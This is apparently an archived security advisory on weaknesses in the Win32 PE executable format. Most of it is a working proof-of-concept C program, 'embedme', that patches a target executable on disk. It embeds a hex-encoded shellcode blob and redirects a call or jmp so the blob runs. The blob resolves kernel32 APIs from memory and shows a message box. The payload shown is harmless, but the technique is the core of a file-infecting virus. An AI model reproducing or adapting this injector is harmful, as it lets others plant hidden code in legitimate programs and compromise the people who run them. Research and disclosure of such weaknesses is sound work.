|
COMMAND Portable Executable (PE) File Format For Win32 analysis and vulnerabilities SYSTEMS AFFECTED ?? PROBLEM Exurity Inc. [http://members.rogers.com/exurity/] posted following, about an analysis and a proof of concept of PE file format vulnerabilities. This article illustrates the following vulnerabilities or features of PE file for Win32 Architecture. ¡¤ The explicit linking of Dynamic Link Library executables into a process, especially the GetProcAddress and LoadLibrary API functions, has far more consequences than it facilitates normal program developers the flexibility in linking to their libraries dynamically. ¡¤ The intact PE header information, including import and export library info, left in RAM for a process provides the strong "vines" to be followed up for GetProcAddress and Kernel32ModuleBase from many climbing points. ¡¤ The virtual address gap between two sequential sections of one executable, either .exe or .dll, is wide enough to harbor a few "mice that carry elephants with them through the gap". ¡¤ Lack of checking, or weak checking mechanism, for the integrity of executables on the operating system during the preparation for launching executables enables the modification of executable files and and execution of mobile code relatively easy. It seems a lot of components fail to detect the modification of executables at all. ¡¤ Executables, once compiled, linked and delivered, are prone to be modified by other programs and most of them do not have run-time self-protection mechanism implemented. This weakness is not only limited to Win32 application programs. Many executable files for other operating systems fail to check on themselves during the run-time as well. Article is available at: http://members.rogers.com/exurity/pdf/PE.pdf Sample program included code ============================ /* To use this proof-of-concept code, you compile it into an executable after you copy the content into a Visual C/C++ project. Then, you have to manually figure out the following values when you run the executable for the victim executable image: · The source relative virtual address (RVA) and its file offset to allow the call/jmp replacment; · The destination RVA and its file offset to embed the code at. Enough space has to be found for the embedded code of 0x109 bytes. · For a jmp replacement, the original opcodes at the source RVA has to be five bytes with multiple execution units. Otherwise, the movement of 5 bytes opcodes from the source RVA into the embedded code will lead to unknown results. · In theory, you have to grow the virtual space for the section where the embedded code will be inserted. Actually, you do not really have to. Peter Huang http://members.rogers.com/exurity/ */ #include <windows.h> #include <stdio.h> #include <stdlib.h> #define EMBEDME_REPLACE_OFST 0xFC #define EMBEDME_JMP_OFST 0x105 char embedded[] = "\x60\x8b\xec\xeb\x29\x4c\x6f\x61\x64\x4c\x69\x62\x72\x61\x72\x79" "\x41\x00\x75\x73\x65\x72\x33\x32\x00\x4d\x65\x73\x73\x61\x67\x65" "\x42\x6f\x78\x41\x00\x48\x65\x6c\x6c\x6f\x21\x00\xeb\x05\xe8\xf9" "\xff\xff\xff\x5b\x8d\x7b\xd2\x57\xeb\x1f\xc1\xeb\x10\xc1\xe3\x10" "\x66\x81\x3b\x4d\x5a\x75\x0b\x8b\x4b\x3c\x66\x81\x3c\x0b\x50\x45" "\x74\x06\xc1\xeb\x10\x4b\x75\xe5\xc3\xe8\xdc\xff\xff\xff\x8b\x43" "\x3c\x40\x8b\x54\x03\x7f\x03\xd3\x8b\x42\x0c\x03\xc3\x8b\x08\x81" "\xc9\x20\x20\x20\x20\x81\xf9\x6b\x65\x72\x6e\x75\x11\x8b\x48\x04" "\x81\xc9\x20\x20\x20\x20\x81\xf9\x65\x6c\x33\x32\x74\x05\x83\xc2" "\x14\xeb\xd5\x8b\x42\x10\x8b\x1c\x03\xe8\x9c\xff\xff\xff\x33\xff" "\x8b\x4b\x3c\x8b\x74\x0b\x78\x03\xf3\x8b\x4e\x20\x03\xcb\x47\x8b" "\x11\x03\xd3\x81\x7a\x04\x72\x6f\x63\x41\x74\x05\x83\xc1\x04\x75" "\xed\x8b\x56\x24\x03\xd3\x0f\xb7\x3c\x7a\x2b\x7e\x10\x8b\x56\x1c" "\x8d\x14\xba\x8b\x14\x13\x03\xd3\x5f\x52\x53\x57\x87\xd3\x52\xff" "\xd3\x8d\x4f\x0d\x51\xff\xd0\x8d\x7f\x14\x57\x50\xff\xd3\x33\xc9" "\x51\x57\x8d\x57\x0c\x52\x51\xff\xd0\x8b\xe5\x61\x90\x90\x90\x90" "\x90\x90\x90\x90\xe9\xfb\xff\xff\xff"; void EmbedMe(unsigned char * pImage, DWORD srcRva, DWORD srcOfst, DWORD targetRva, DWORD targetOfst, BOOL call) { unsigned char * pTarget = pImage + targetOfst; unsigned char * pSrc = pImage + srcOfst; if ( call ) { pSrc[0] = 0xE8; // call * (DWORD * ) (embedded+EMBEDME_JMP_OFST) = ( ( * (DWORD * ) (pSrc + 1) ) + srcRva + 5 - ( targetRva + EMBEDME_JMP_OFST + 4)); * (DWORD * ) (pSrc + 1) = ( targetRva - (srcRva + 5) ); } else { memcpy(embedded + EMBEDME_REPLACE_OFST, pSrc, 5 ); pSrc[0] = 0xE9; // jmp * (DWORD * ) (pSrc + 1) = ( targetRva - (srcRva + 5) ); * (DWORD * ) (embedded+EMBEDME_JMP_OFST) = ( srcRva + 5 - (targetRva + EMBEDME_JMP_OFST + 4 ) ); } memcpy(pTarget, embedded, sizeof(embedded) ); } int main(int argc, char* argv[]) { // embedme -c va filename // embedme -j va filename HANDLE fHandle; unsigned char * pImage; BOOL call = TRUE; DWORD srcRva, srcOfst, targetRva, targetOfst, fileLow, fileHigh; if ( argc != 7 ) { printf("Please notice the following numbers in hex as well as RVA\n" "To embed the embedded as a callable\n" " embedme -c SrcRva FileOfst TargetRva TargetOfst filename\n" "To embed the embedded as a jumpable\n" " embedme -j SrcRva FileOfst TargetRva TargetOfst filename\n"); return 1; } if ( strcmp(argv[1], "-c") != 0 ) call = FALSE; sscanf(argv[2], "%x", &srcRva); sscanf(argv[3], "%x", &srcOfst); sscanf(argv[4], "%x", &targetRva); sscanf(argv[5], "%x", &targetOfst); fHandle = CreateFile(argv[6], GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); if ( fHandle == INVALID_HANDLE_VALUE ) { printf("Failed to open file %s for error %d\n", argv[6], GetLastError() ); return 2; } fileLow = GetFileSize(fHandle, & fileHigh); if ( fileHigh || ( fileLow == 0 ) ) { printf("File is either too big or empty\n", argv[6]); CloseHandle(fHandle); return 3; } pImage = (unsigned char *) malloc(fileLow); if ( pImage == NULL ) { printf("Run out of memory so early?\n"); CloseHandle(fHandle); return 4; } if ( ReadFile(fHandle, pImage, fileLow, &fileHigh, NULL ) && ( fileLow == fileHigh) ) { SetFilePointer(fHandle, 0, NULL, FILE_BEGIN); // reset it for writing EmbedMe(pImage, srcRva, srcOfst, targetRva, targetOfst, call); if ( ! WriteFile(fHandle, pImage, fileLow, &fileHigh, NULL ) || ( fileLow != fileHigh ) ) { printf("Failed to write to file %s for error %d\n", argv[6], GetLastError() ); } } else { printf("Failed to read from file %s for error %d\n", argv[6], GetLastError() ); } CloseHandle(fHandle); return 0; } SOLUTION ??